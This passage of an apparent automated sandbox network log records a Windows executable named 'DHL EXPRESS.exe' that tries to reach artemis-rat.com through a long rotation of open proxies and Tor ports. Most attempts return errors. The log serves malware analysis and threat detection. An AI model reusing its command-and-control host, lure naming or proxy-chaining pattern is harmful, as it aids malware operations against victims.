Mar 11, 2024 18:36:55.565697908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.566036940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.566128016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:16.565680981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:28.581270933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:40.675040007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:04.690726042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:52.690721035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1485	192.168.2.8	54304	38.54.101.254	9000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.483201027 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:52.999188900 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:53.597340107 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:54.693687916 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:56.909919977 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:59.097320080 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:37:01.346996069 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:37:05.678010941 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:37:14.300209045 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1486	192.168.2.8	54040	199.187.210.54	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.486360073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1487	192.168.2.8	52807	34.135.203.172	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.489828110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.552262068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.571749926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.706626892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1488	192.168.2.8	54332	104.24.136.68	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.490667105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.645205021 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1489	192.168.2.8	54243	103.163.51.254	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.511477947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1490	192.168.2.8	54158	8.213.128.90	444	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.511934996 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1491	192.168.2.8	52900	195.114.209.50	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.516872883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.552308083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.803165913 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 618 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 63 69 62 65 72 73 65 67 75 72 69 64 61 64 40 61 75 64 65 61 2e 65 73 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at ciberseguridad@audea.es to inform the
Mar 11, 2024 18:36:58.803239107 CET	274	IN	Data Raw: 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 Data Ascii: m of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Por

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1492	192.168.2.8	54289	117.54.114.98	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.546875000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1493	192.168.2.8	53913	184.185.2.12	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.551292896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1494	192.168.2.8	54313	166.195.193.173	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.581182003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.687953949 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:52 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1495	192.168.2.8	52819	45.226.1.1	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.582117081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1496	192.168.2.8	54298	217.23.11.194	47152	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.591308117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.886905909 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1497	192.168.2.8	50217	209.14.112.8	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.591520071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1498	192.168.2.8	54300	147.75.34.85	10011	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.596999884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.898819923 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1499	192.168.2.8	50310	163.172.131.178	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.601739883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.768829107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.769553900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.743840933 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1500	192.168.2.8	54292	101.37.22.207	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.602041960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.927392006 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 